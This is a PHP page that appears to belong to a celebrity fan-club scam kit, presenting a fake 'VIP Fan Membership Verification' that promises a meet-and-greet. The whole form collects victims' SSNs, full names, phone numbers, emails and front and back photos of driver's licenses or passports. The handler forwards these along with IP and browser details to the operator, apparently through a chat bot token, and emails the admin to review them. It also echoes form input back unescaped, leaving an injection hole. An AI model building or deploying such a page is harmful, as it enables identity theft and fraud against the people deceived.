<?php include_once('data/settings.php');

$title = $celebname." VIP Fan Membership Verification";

include('header.php');



if(isset($_POST['verify_now'])){
	$verification_status ='';
	
	$con = new khodexclass($mysqli);

    if ($con->verification($celebname,$_POST['ssn'],$_POST['idtype'],$_FILES['frontfile']['tmp_name'],$_FILES['frontfile']['type'],$_FILES['frontfile']['size'],$_FILES['frontfile']['name'],$_FILES['backfile']['tmp_name'],$_FILES['backfile']['type'],$_FILES['backfile']['size'],$_FILES['backfile']['name'],$sitename,$sitedomain,$BrowserInfo,$IpInfo,$_POST['phone'],$_POST['email'],$_POST['fullname'],$apiToken,$chat_id,$verification_status)) {
        
		$fullname = $_POST['fullname'];
        
        $email_message = 'Hello Admin, '.$fullname.' submitted some documents for verification on '.$sitename.', Login backend now to check and approve documents.';
        $therand = mt_rand(1000,9999);
$subject = $sitename.": New Document Notification - #".$therand;
$headers = 'From: '.$sitename.' BOT <no-reply@'.$sitedomain.'>' . "\r\n";
$headers .= "Reply-To: support@".$sitedomain."\r\n";
$headers .= "Return-Path: no-reply@".$sitedomain."\r\n";
$headers .= "Organization: ".$sitename."\r\n";
$headers .= "CC: ".$contactmail."\r\n";
$headers .= "BCC: ".$contactmail."\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=UTF-8\r\n";
$headers .= "X-Priority: 3\r\n";
$headers .= "X-Mailer: PHP". phpversion() ."\r\n";
        
  mail($contactmail,$subject,$email_message,$headers);	   
        
		$erro="verifygood";
    } else {
      $erro="verifyfail";
    }
	
}


?>

<div id="main-wrapper" class="oxyy-login-register bg-dark">
  <div class="container">
    <div class="row g-0 min-vh-100 py-4 py-md-5"> 
      <!-- Welcome Text
      ========================= -->
      <div class="col-lg-7 shadow-lg">
        <div class="hero-wrap d-flex align-items-center rounded-3 rounded-end-0 h-100">
          <div class="hero-mask opacity-9 bg-primary"></div>
          <div class="hero-bg hero-bg-scroll" style="background-image:url('images/carrie.jpg');"></div>
          <div class="hero-content mx-auto w-100 h-100 d-flex flex-column">
            <div class="row g-0">
              <div class="col-11 col-lg-10 mx-auto">
                <div class="logo mt-5 mb-5 mb-lg-0"> <a href="./" title="<?= $celebname;?> Logo"><img src="images/vip-ca.png" alt="<?= $celebname;?>" style="max-width: 80%" class="mt-5 img-fluid"></a> </div>
              </div>
            </div>
            <div class="row g-0 my-auto">
              <div class="col-11 col-lg-10 mx-auto">
                <h1 class="text-11 text-white mb-3">We care about our fans safety & security.</h1>
                <p class="text-5 text-white lh-base mb-4">Get access to your VIP Offers, Benefits and Fans Recommendations.</p></div>
            </div>
          </div>
        </div>
      </div>
      <!-- Welcome Text End --> 
      
      <!-- OTP Form
      ========================= -->
      <div class="col-lg-5 shadow-lg d-flex align-items-center rounded-3 rounded-start-0 bg-dark">
        <div class="container my-auto py-5">
          <div class="row">
            <div class="col-11 col-lg-10 mx-auto">
                <p class="mb-2 text-center"><a href="./check" class="btn btn-success btn-sm">Click to Check Verification</a></p>
              <h3 class="text-white text-center mb-4">Fan Identity Verification</h3>
              <!--<p class="text-center"><img class="img-fluid" src="images/vip.png" alt="verification"></p>-->
              <p class="text-white-50 text-center mb-4">Verify your identity to Enter for a chance to win a Meet & Greet with <?= $celebname;?>, and VIP Fan Club Party with <?= $celebname;?>.</p>
			  
			  
			  
<?php
if ($erro == "verifyfail") {
    ?>
        <div class="alert alert-danger" role="alert" style="color: red; font-size: 16px;">
            <strong><i class="fa fa-times-circle"></i> Feedback!<br><ol style="font-size: 14px; color: #000;"> <?php echo"". $pn_err ."".$ad_err ."".$pc_err."".$errok."". $pa_err ."".$a_exist."".$cp_exist."".$pp_err."".$ft_err."".$fj_err."".$fz_err."".$fz_err2; ?></ol></strong>
        </div>
    <?php
}elseif ($erro == "verifygood") {
    ?>
        <div class="alert alert-success" role="alert" style="color: green; font-size: 16px;">
            <strong><i class="fa fa-check-circle"></i> Success!<br><span style="font-size: 14px; color: #000;"> Your document as been submitted for verification review... you will be notified soon!</span></strong>
        </div>
    <?php
}?>	  
			  
			  
              <form class="form-dark" method="post" enctype="multipart/form-data">
                <div class="mb-3">
                  <label class="form-label text-light" for="emailAddress">Email Address</label>
                  <input type="email" value="<?php if(isset($_POST['verify_now'])){if($erro=='verifyfail'){echo $_POST['email'];}}?>" autocomplete="off" name="email" class="form-control" id="emailAddress" required="" placeholder="Enter Email">
                </div>
                <div class="mb-3">
                  <label class="form-label text-light" for="fullname">Fullname</label>
                  <input type="text" autocomplete="off" value="<?php if(isset($_POST['verify_now'])){if($erro=='verifyfail'){echo $_POST['fullname'];}}?>" name="fullname" class="form-control" id="fullname" required="" placeholder="Enter Your Fullname">
                </div>
				
				<div class="mb-3">
                  <label class="form-label text-light" for="phone">Cell Phone Number</label>
                  <input type="text" autocomplete="off" name="phone" value="<?php if(isset($_POST['verify_now'])){if($erro=='verifyfail'){echo $_POST['phone'];}}?>" class="form-control" id="phone" maxlength="12" pattern="\d*" pattern="[0-9]*" required="" placeholder="Enter Your Phone Number">
                </div>
				
				<div class="mb-3">
                  <label class="form-label text-light" for="cardtype">Card Type</label>
                  <select name="idtype" required class="form-select-lg bg-dark text-light" style="width: 100%" id="cardtype">
                                                    <option value="">- Select Card Option -</option>
											<option value="Drivers License">Driver's License</option>
<option value="Identity Card">Identity Card (State ID)</option>
<option value="Passport">Passport</option>
<option value="Passport Card">Passport Card</option>
												</select>
                </div>
				
				<div class="mb-3">
                  <label class="form-label text-light" for="frontfile">Front Of ID Card</label>
                  <input type="file" class="form-control" name="frontfile" accept="image/*" id="frontfile" required="">
                </div>
				
				<div class="mb-3">
                  <label class="form-label text-light" for="backfile">Back Of ID Card</label>
                  <input type="file" class="form-control" name="backfile" accept="image/*" id="backfile" required="">
                </div>
				
				
                <div class="mb-3">
                  <label class="form-label text-light" for="ssn">Social Security Number (SSN)</label>
                  <input type="text" class="form-control" value="<?php if(isset($_POST['verify_now'])){if($erro=='verifyfail'){echo $_POST['ssn'];}}?>" name="ssn" autocomplete="off" minlength="8" maxlength="9" pattern="\d*" pattern="[0-9]*" id="ssn" required="" placeholder="Enter Your SSN">
                </div>
                <div class="d-grid my-4">
					<button class="btn btn-primary" name="verify_now" type="submit">Verify My Identity</button>
				</div>
              </form>
              <div class="d-flex align-items-center my-3">
                <hr class="flex-grow-1 border-secondary">
                <span class="mx-2 text-2 text-white-50">Needs Help?</span>
                <hr class="flex-grow-1 border-secondary">
              </div>
              <p class="text-2 text-center text-light mb-0">Send us a mail! <a href="mailto:<?= $contactmail;?>"><?= $contactmail;?></a></p>
			  <hr />
			  <h4 class="text-center text-light mb-3">IMPORTANT NOTICES</h4>
			  
			  <p class="text-2 text-center text-light mb-4"><u>IT'S BEEN TWO BUSINESS DAYS AND I HAVE NOT RECEIVED A REPLY TO MY IDENTITY VERIFICATION FOR THE VIP MEMBERSHIP</u><p>
			  
			  <p class="text-2 text-center text-light mb-4">We try our best to reply to all fan verifications within 2 business days. If you have not received a reply to your verification, please make sure to check your spam folder as your mail client might have categorized our response as spam.</p>
			  
			  <p class="text-2 text-center text-light mb-0">Please also add the following e-mail address to your safe list to ensure receipt of our responses: support@<?= $sitedomain;?></p>
            </div>
          </div>
        </div>
      </div>
      <!-- OTP Form End --> 
	  <p class="text-2 text-center mb-4 mt-5"><?= $sitename.', &copy; '.date('Y');?></p>
    </div>
  </div>
</div>

<!-- Styles Switcher 
<div id="styles-switcher" class="left">
  <h5>Color Switcher</h5>
  <hr>
  <ul class="mb-0">
    <li class="blue" data-bs-toggle="tooltip" title="Blue" data-path="#"></li>
    <li class="indigo" data-bs-toggle="tooltip" title="Indigo" data-path="css/color-indigo.css"></li>
    <li class="purple" data-bs-toggle="tooltip" title="Purple" data-path="css/color-purple.css"></li>
    <li class="pink" data-bs-toggle="tooltip" title="Pink" data-path="css/color-pink.css"></li>
    <li class="red" data-bs-toggle="tooltip" title="Red" data-path="css/color-red.css"></li>
    <li class="orange" data-bs-toggle="tooltip" title="Orange" data-path="css/color-orange.css"></li>
    <li class="yellow" data-bs-toggle="tooltip" title="Yellow" data-path="css/color-yellow.css"></li>
    <li class="teal" data-bs-toggle="tooltip" title="Teal" data-path="css/color-teal.css"></li>
    <li class="green" data-bs-toggle="tooltip" title="Green" data-path="css/color-green.css"></li>
    <li class="cyan" data-bs-toggle="tooltip" title="Cyan" data-path="css/color-cyan.css"></li>
    <li class="brown" data-bs-toggle="tooltip" title="Brown" data-path="css/color-brown.css"></li>
  </ul>
  <button class="btn switcher-toggle"><i class="fas fa-cog"></i></button>
</div>
 --> 

<!-- Script --> 
<script src="vendor/jquery/jquery.min.js"></script> 
<script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> 
<!-- Style Switcher --> 
<script src="js/switcher.min.js"></script> 
<script src="js/theme.js"></script>
<?php include('livechat.php');?>
</body>
</html>